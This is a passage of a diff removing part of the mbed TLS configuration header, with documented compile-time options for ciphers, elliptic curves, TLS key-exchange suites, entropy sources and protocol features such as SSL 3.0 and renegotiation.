* - * Your function must be called \c mbedtls_hardware_poll(), have the same - * prototype as declared in entropy_poll.h, and accept NULL as first argument. - * - * Uncomment to use your own hardware entropy collector. - */ -//#define MBEDTLS_ENTROPY_HARDWARE_ALT - -/** - * \def MBEDTLS_AES_ROM_TABLES - * - * Store the AES tables in ROM. - * - * Uncomment this macro to store the AES tables in ROM. - */ -//#define MBEDTLS_AES_ROM_TABLES - -/** - * \def MBEDTLS_CAMELLIA_SMALL_MEMORY - * - * Use less ROM for the Camellia implementation (saves about 768 bytes). - * - * Uncomment this macro to use less memory for Camellia. - */ -//#define MBEDTLS_CAMELLIA_SMALL_MEMORY - -/** - * \def MBEDTLS_CIPHER_MODE_CBC - * - * Enable Cipher Block Chaining mode (CBC) for symmetric ciphers. - */ -#define MBEDTLS_CIPHER_MODE_CBC - -/** - * \def MBEDTLS_CIPHER_MODE_CFB - * - * Enable Cipher Feedback mode (CFB) for symmetric ciphers. - */ -#define MBEDTLS_CIPHER_MODE_CFB - -/** - * \def MBEDTLS_CIPHER_MODE_CTR - * - * Enable Counter Block Cipher mode (CTR) for symmetric ciphers. - */ -#define MBEDTLS_CIPHER_MODE_CTR - -/** - * \def MBEDTLS_CIPHER_NULL_CIPHER - * - * Enable NULL cipher. - * Warning: Only do so when you know what you are doing. This allows for - * encryption or channels without any security! - * - * Requires MBEDTLS_ENABLE_WEAK_CIPHERSUITES as well to enable - * the following ciphersuites: - * MBEDTLS_TLS_ECDH_ECDSA_WITH_NULL_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_NULL_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_NULL_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_NULL_SHA - * MBEDTLS_TLS_ECDHE_PSK_WITH_NULL_SHA384 - * MBEDTLS_TLS_ECDHE_PSK_WITH_NULL_SHA256 - * MBEDTLS_TLS_ECDHE_PSK_WITH_NULL_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_NULL_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_NULL_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_NULL_SHA - * MBEDTLS_TLS_RSA_WITH_NULL_SHA256 - * MBEDTLS_TLS_RSA_WITH_NULL_SHA - * MBEDTLS_TLS_RSA_WITH_NULL_MD5 - * MBEDTLS_TLS_RSA_PSK_WITH_NULL_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_NULL_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_NULL_SHA - * MBEDTLS_TLS_PSK_WITH_NULL_SHA384 - * MBEDTLS_TLS_PSK_WITH_NULL_SHA256 - * MBEDTLS_TLS_PSK_WITH_NULL_SHA - * - * Uncomment this macro to enable the NULL cipher and ciphersuites - */ -//#define MBEDTLS_CIPHER_NULL_CIPHER - -/** - * \def MBEDTLS_CIPHER_PADDING_PKCS7 - * - * MBEDTLS_CIPHER_PADDING_XXX: Uncomment or comment macros to add support for - * specific padding modes in the cipher layer with cipher modes that support - * padding (e.g. CBC) - * - * If you disable all padding modes, only full blocks can be used with CBC. - * - * Enable padding modes in the cipher layer. - */ -#define MBEDTLS_CIPHER_PADDING_PKCS7 -#define MBEDTLS_CIPHER_PADDING_ONE_AND_ZEROS -#define MBEDTLS_CIPHER_PADDING_ZEROS_AND_LEN -#define MBEDTLS_CIPHER_PADDING_ZEROS - -/** - * \def MBEDTLS_ENABLE_WEAK_CIPHERSUITES - * - * Enable weak ciphersuites in SSL / TLS. - * Warning: Only do so when you know what you are doing. This allows for - * channels with virtually no security at all! - * - * This enables the following ciphersuites: - * MBEDTLS_TLS_RSA_WITH_DES_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_DES_CBC_SHA - * - * Uncomment this macro to enable weak ciphersuites - */ -//#define MBEDTLS_ENABLE_WEAK_CIPHERSUITES - -/** - * \def MBEDTLS_REMOVE_ARC4_CIPHERSUITES - * - * Remove RC4 ciphersuites by default in SSL / TLS. - * This flag removes the ciphersuites based on RC4 from the default list as - * returned by mbedtls_ssl_list_ciphersuites(). However, it is still possible to - * enable (some of) them with mbedtls_ssl_conf_ciphersuites() by including them - * explicitly. - * - * Uncomment this macro to remove RC4 ciphersuites by default. - */ -#define MBEDTLS_REMOVE_ARC4_CIPHERSUITES - -/** - * \def MBEDTLS_ECP_DP_SECP192R1_ENABLED - * - * MBEDTLS_ECP_XXXX_ENABLED: Enables specific curves within the Elliptic Curve - * module. By default all supported curves are enabled. - * - * Comment macros to disable the curve and functions for it - */ -#define MBEDTLS_ECP_DP_SECP192R1_ENABLED -#define MBEDTLS_ECP_DP_SECP224R1_ENABLED -#define MBEDTLS_ECP_DP_SECP256R1_ENABLED -#define MBEDTLS_ECP_DP_SECP384R1_ENABLED -#define MBEDTLS_ECP_DP_SECP521R1_ENABLED -#define MBEDTLS_ECP_DP_SECP192K1_ENABLED -#define MBEDTLS_ECP_DP_SECP224K1_ENABLED -#define MBEDTLS_ECP_DP_SECP256K1_ENABLED -#define MBEDTLS_ECP_DP_BP256R1_ENABLED -#define MBEDTLS_ECP_DP_BP384R1_ENABLED -#define MBEDTLS_ECP_DP_BP512R1_ENABLED -#define MBEDTLS_ECP_DP_CURVE25519_ENABLED - -/** - * \def MBEDTLS_ECP_NIST_OPTIM - * - * Enable specific 'modulo p' routines for each NIST prime. - * Depending on the prime and architecture, makes operations 4 to 8 times - * faster on the corresponding curve. - * - * Comment this macro to disable NIST curves optimisation. - */ -#define MBEDTLS_ECP_NIST_OPTIM - -/** - * \def MBEDTLS_ECDSA_DETERMINISTIC - * - * Enable deterministic ECDSA (RFC 6979). - * Standard ECDSA is "fragile" in the sense that lack of entropy when signing - * may result in a compromise of the long-term signing key. This is avoided by - * the deterministic variant. - * - * Requires: MBEDTLS_HMAC_DRBG_C - * - * Comment this macro to disable deterministic ECDSA. - */ -#define MBEDTLS_ECDSA_DETERMINISTIC - -/** - * \def MBEDTLS_KEY_EXCHANGE_PSK_ENABLED - * - * Enable the PSK based ciphersuite modes in SSL / TLS. - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_PSK_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_PSK_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_PSK_WITH_RC4_128_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_PSK_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_DHE_PSK_ENABLED - * - * Enable the DHE-PSK based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_DHM_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_DHE_PSK_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_DHE_PSK_WITH_RC4_128_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_DHE_PSK_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_ECDHE_PSK_ENABLED - * - * Enable the ECDHE-PSK based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_ECDH_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDHE_PSK_WITH_RC4_128_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_ECDHE_PSK_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_RSA_PSK_ENABLED - * - * Enable the RSA-PSK based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_RSA_C, MBEDTLS_PKCS1_V15, - * MBEDTLS_X509_CRT_PARSE_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_RSA_PSK_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_RSA_PSK_WITH_RC4_128_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_RSA_PSK_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_RSA_ENABLED - * - * Enable the RSA-only based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_RSA_C, MBEDTLS_PKCS1_V15, - * MBEDTLS_X509_CRT_PARSE_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_WITH_AES_256_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_RSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_RSA_WITH_RC4_128_MD5 - */ -#define MBEDTLS_KEY_EXCHANGE_RSA_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_DHE_RSA_ENABLED - * - * Enable the DHE-RSA based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_DHM_C, MBEDTLS_RSA_C, MBEDTLS_PKCS1_V15, - * MBEDTLS_X509_CRT_PARSE_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA - * MBEDTLS_TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_DHE_RSA_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_ECDHE_RSA_ENABLED - * - * Enable the ECDHE-RSA based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_ECDH_C, MBEDTLS_RSA_C, MBEDTLS_PKCS1_V15, - * MBEDTLS_X509_CRT_PARSE_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDHE_RSA_WITH_RC4_128_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_ECDHE_RSA_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA_ENABLED - * - * Enable the ECDHE-ECDSA based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_ECDH_C, MBEDTLS_ECDSA_C, MBEDTLS_X509_CRT_PARSE_C, - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDHE_ECDSA_WITH_RC4_128_SHA - */ -#define MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA_ENABLED - * - * Enable the ECDH-ECDSA based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_ECDH_C, MBEDTLS_X509_CRT_PARSE_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDH_ECDSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384 - */ -#define MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_ECDH_RSA_ENABLED - * - * Enable the ECDH-RSA based ciphersuite modes in SSL / TLS. - * - * Requires: MBEDTLS_ECDH_C, MBEDTLS_X509_CRT_PARSE_C - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECDH_RSA_WITH_RC4_128_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256 - * MBEDTLS_TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384 - */ -#define MBEDTLS_KEY_EXCHANGE_ECDH_RSA_ENABLED - -/** - * \def MBEDTLS_KEY_EXCHANGE_ECJPAKE_ENABLED - * - * Enable the ECJPAKE based ciphersuite modes in SSL / TLS. - * - * \warning This is currently experimental. EC J-PAKE support is based on the - * Thread v1.0.0 specification; incompatible changes to the specification - * might still happen. For this reason, this is disabled by default. - * - * Requires: MBEDTLS_ECJPAKE_C - * MBEDTLS_SHA256_C - * MBEDTLS_ECP_DP_SECP256R1_ENABLED - * - * This enables the following ciphersuites (if other requisites are - * enabled as well): - * MBEDTLS_TLS_ECJPAKE_WITH_AES_128_CCM_8 - */ -//#define MBEDTLS_KEY_EXCHANGE_ECJPAKE_ENABLED - -/** - * \def MBEDTLS_PK_PARSE_EC_EXTENDED - * - * Enhance support for reading EC keys using variants of SEC1 not allowed by - * RFC 5915 and RFC 5480. - * - * Currently this means parsing the SpecifiedECDomain choice of EC - * parameters (only known groups are supported, not arbitrary domains, to - * avoid validation issues). - * - * Disable if you only need to support RFC 5915 + 5480 key formats. - */ -#define MBEDTLS_PK_PARSE_EC_EXTENDED - -/** - * \def MBEDTLS_ERROR_STRERROR_DUMMY - * - * Enable a dummy error function to make use of mbedtls_strerror() in - * third party libraries easier when MBEDTLS_ERROR_C is disabled - * (no effect when MBEDTLS_ERROR_C is enabled). - * - * You can safely disable this if MBEDTLS_ERROR_C is enabled, or if you're - * not using mbedtls_strerror() or error_strerror() in your application. - * - * Disable if you run into name conflicts and want to really remove the - * mbedtls_strerror() - */ -#define MBEDTLS_ERROR_STRERROR_DUMMY - -/** - * \def MBEDTLS_GENPRIME - * - * Enable the prime-number generation code. - * - * Requires: MBEDTLS_BIGNUM_C - */ -#define MBEDTLS_GENPRIME - -/** - * \def MBEDTLS_FS_IO - * - * Enable functions that use the filesystem. - */ -#define MBEDTLS_FS_IO - -/** - * \def MBEDTLS_NO_DEFAULT_ENTROPY_SOURCES - * - * Do not add default entropy sources. These are the platform specific, - * mbedtls_timing_hardclock and HAVEGE based poll functions. - * - * This is useful to have more control over the added entropy sources in an - * application. - * - * Uncomment this macro to prevent loading of default entropy functions. - */ -//#define MBEDTLS_NO_DEFAULT_ENTROPY_SOURCES - -/** - * \def MBEDTLS_NO_PLATFORM_ENTROPY - * - * Do not use built-in platform entropy functions. - * This is useful if your platform does not support - * standards like the /dev/urandom or Windows CryptoAPI. - * - * Uncomment this macro to disable the built-in platform entropy functions. - */ -//#define MBEDTLS_NO_PLATFORM_ENTROPY - -/** - * \def MBEDTLS_ENTROPY_FORCE_SHA256 - * - * Force the entropy accumulator to use a SHA-256 accumulator instead of the - * default SHA-512 based one (if both are available). - * - * Requires: MBEDTLS_SHA256_C - * - * On 32-bit systems SHA-256 can be much faster than SHA-512. Use this option - * if you have performance concerns. - * - * This option is only useful if both MBEDTLS_SHA256_C and - * MBEDTLS_SHA512_C are defined. Otherwise the available hash module is used. - */ -//#define MBEDTLS_ENTROPY_FORCE_SHA256 - -/** - * \def MBEDTLS_MEMORY_DEBUG - * - * Enable debugging of buffer allocator memory issues. Automatically prints - * (to stderr) all (fatal) messages on memory allocation issues. Enables - * function for 'debug output' of allocated memory. - * - * Requires: MBEDTLS_MEMORY_BUFFER_ALLOC_C - * - * Uncomment this macro to let the buffer allocator print out error messages. - */ -//#define MBEDTLS_MEMORY_DEBUG - -/** - * \def MBEDTLS_MEMORY_BACKTRACE - * - * Include backtrace information with each allocated block. - * - * Requires: MBEDTLS_MEMORY_BUFFER_ALLOC_C - * GLIBC-compatible backtrace() an backtrace_symbols() support - * - * Uncomment this macro to include backtrace information - */ -//#define MBEDTLS_MEMORY_BACKTRACE - -/** - * \def MBEDTLS_PK_RSA_ALT_SUPPORT - * - * Support external private RSA keys (eg from a HSM) in the PK layer. - * - * Comment this macro to disable support for external private RSA keys. - */ -#define MBEDTLS_PK_RSA_ALT_SUPPORT - -/** - * \def MBEDTLS_PKCS1_V15 - * - * Enable support for PKCS#1 v1.5 encoding. - * - * Requires: MBEDTLS_RSA_C - * - * This enables support for PKCS#1 v1.5 operations. - */ -#define MBEDTLS_PKCS1_V15 - -/** - * \def MBEDTLS_PKCS1_V21 - * - * Enable support for PKCS#1 v2.1 encoding. - * - * Requires: MBEDTLS_MD_C, MBEDTLS_RSA_C - * - * This enables support for RSAES-OAEP and RSASSA-PSS operations. - */ -#define MBEDTLS_PKCS1_V21 - -/** - * \def MBEDTLS_RSA_NO_CRT - * - * Do not use the Chinese Remainder Theorem for the RSA private operation. - * - * Uncomment this macro to disable the use of CRT in RSA. - * - */ -//#define MBEDTLS_RSA_NO_CRT - -/** - * \def MBEDTLS_SELF_TEST - * - * Enable the checkup functions (*_self_test). - */ -//#define MBEDTLS_SELF_TEST - -/** - * \def MBEDTLS_SHA256_SMALLER - * - * Enable an implementation of SHA-256 that has lower ROM footprint but also - * lower performance. - * - * The default implementation is meant to be a reasonnable compromise between - * performance and size. This version optimizes more aggressively for size at - * the expense of performance. Eg on Cortex-M4 it reduces the size of - * mbedtls_sha256_process() from ~2KB to ~0.5KB for a performance hit of about - * 30%. - * - * Uncomment to enable the smaller implementation of SHA256. - */ -//#define MBEDTLS_SHA256_SMALLER - -/** - * \def MBEDTLS_SSL_AEAD_RANDOM_IV - * - * Generate a random IV rather than using the record sequence number as a - * nonce for ciphersuites using and AEAD algorithm (GCM or CCM). - * - * Using the sequence number is generally recommended. - * - * Uncomment this macro to always use random IVs with AEAD ciphersuites. - */ -//#define MBEDTLS_SSL_AEAD_RANDOM_IV - -/** - * \def MBEDTLS_SSL_ALL_ALERT_MESSAGES - * - * Enable sending of alert messages in case of encountered errors as per RFC. - * If you choose not to send the alert messages, mbed TLS can still communicate - * with other servers, only debugging of failures is harder. - * - * The advantage of not sending alert messages, is that no information is given - * about reasons for failures thus preventing adversaries of gaining intel. - * - * Enable sending of all alert messages - */ -#define MBEDTLS_SSL_ALL_ALERT_MESSAGES - -/** - * \def MBEDTLS_SSL_DEBUG_ALL - * - * Enable the debug messages in SSL module for all issues. - * Debug messages have been disabled in some places to prevent timing - * attacks due to (unbalanced) debugging function calls. - * - * If you need all error reporting you should enable this during debugging, - * but remove this for production servers that should log as well. - * - * Uncomment this macro to report all debug messages on errors introducing - * a timing side-channel. - * - */ -//#define MBEDTLS_SSL_DEBUG_ALL - -/** \def MBEDTLS_SSL_ENCRYPT_THEN_MAC - * - * Enable support for Encrypt-then-MAC, RFC 7366. - * - * This allows peers that both support it to use a more robust protection for - * ciphersuites using CBC, providing deep resistance against timing attacks - * on the padding or underlying cipher. - * - * This only affects CBC ciphersuites, and is useless if none is defined. - * - * Requires: MBEDTLS_SSL_PROTO_TLS1 or - * MBEDTLS_SSL_PROTO_TLS1_1 or - * MBEDTLS_SSL_PROTO_TLS1_2 - * - * Comment this macro to disable support for Encrypt-then-MAC - */ -#define MBEDTLS_SSL_ENCRYPT_THEN_MAC - -/** \def MBEDTLS_SSL_EXTENDED_MASTER_SECRET - * - * Enable support for Extended Master Secret, aka Session Hash - * (draft-ietf-tls-session-hash-02). - * - * This was introduced as "the proper fix" to the Triple Handshake familiy of - * attacks, but it is recommended to always use it (even if you disable - * renegotiation), since it actually fixes a more fundamental issue in the - * original SSL/TLS design, and has implications beyond Triple Handshake. - * - * Requires: MBEDTLS_SSL_PROTO_TLS1 or - * MBEDTLS_SSL_PROTO_TLS1_1 or - * MBEDTLS_SSL_PROTO_TLS1_2 - * - * Comment this macro to disable support for Extended Master Secret. - */ -#define MBEDTLS_SSL_EXTENDED_MASTER_SECRET - -/** - * \def MBEDTLS_SSL_FALLBACK_SCSV - * - * Enable support for FALLBACK_SCSV (draft-ietf-tls-downgrade-scsv-00). - * - * For servers, it is recommended to always enable this, unless you support - * only one version of TLS, or know for sure that none of your clients - * implements a fallback strategy. - * - * For clients, you only need this if you're using a fallback strategy, which - * is not recommended in the first place, unless you absolutely need it to - * interoperate with buggy (version-intolerant) servers. - * - * Comment this macro to disable support for FALLBACK_SCSV - */ -#define MBEDTLS_SSL_FALLBACK_SCSV - -/** - * \def MBEDTLS_SSL_HW_RECORD_ACCEL - * - * Enable hooking functions in SSL module for hardware acceleration of - * individual records. - * - * Uncomment this macro to enable hooking functions. - */ -//#define MBEDTLS_SSL_HW_RECORD_ACCEL - -/** - * \def MBEDTLS_SSL_CBC_RECORD_SPLITTING - * - * Enable 1/n-1 record splitting for CBC mode in SSLv3 and TLS 1.0. - * - * This is a countermeasure to the BEAST attack, which also minimizes the risk - * of interoperability issues compared to sending 0-length records. - * - * Comment this macro to disable 1/n-1 record splitting. - */ -#define MBEDTLS_SSL_CBC_RECORD_SPLITTING - -/** - * \def MBEDTLS_SSL_RENEGOTIATION - * - * Disable support for TLS renegotiation. - * - * The two main uses of renegotiation are (1) refresh keys on long-lived - * connections and (2) client authentication after the initial handshake. - * If you don't need renegotiation, it's probably better to disable it, since - * it has been associated with security issues in the past and is easy to - * misuse/misunderstand. - * - * Comment this to disable support for renegotiation. - */ -#define MBEDTLS_SSL_RENEGOTIATION - -/** - * \def MBEDTLS_SSL_SRV_SUPPORT_SSLV2_CLIENT_HELLO - * - * Enable support for receiving and parsing SSLv2 Client Hello messages for the - * SSL Server module (MBEDTLS_SSL_SRV_C). - * - * Uncomment this macro to enable support for SSLv2 Client Hello messages. - */ -//#define MBEDTLS_SSL_SRV_SUPPORT_SSLV2_CLIENT_HELLO - -/** - * \def MBEDTLS_SSL_SRV_RESPECT_CLIENT_PREFERENCE - * - * Pick the ciphersuite according to the client's preferences rather than ours - * in the SSL Server module (MBEDTLS_SSL_SRV_C). - * - * Uncomment this macro to respect client's ciphersuite order - */ -//#define MBEDTLS_SSL_SRV_RESPECT_CLIENT_PREFERENCE - -/** - * \def MBEDTLS_SSL_MAX_FRAGMENT_LENGTH - * - * Enable support for RFC 6066 max_fragment_length extension in SSL. - * - * Comment this macro to disable support for the max_fragment_length extension - */ -#define MBEDTLS_SSL_MAX_FRAGMENT_LENGTH - -/** - * \def MBEDTLS_SSL_PROTO_SSL3 - * - * Enable support for SSL 3.0. - * - * Requires: MBEDTLS_MD5_C - * MBEDTLS_SHA1_C - * - * Comment this macro to disable support for SSL 3.0 - */ -#define MBEDTLS_SSL_PROTO_SSL3 - -/** - * \def 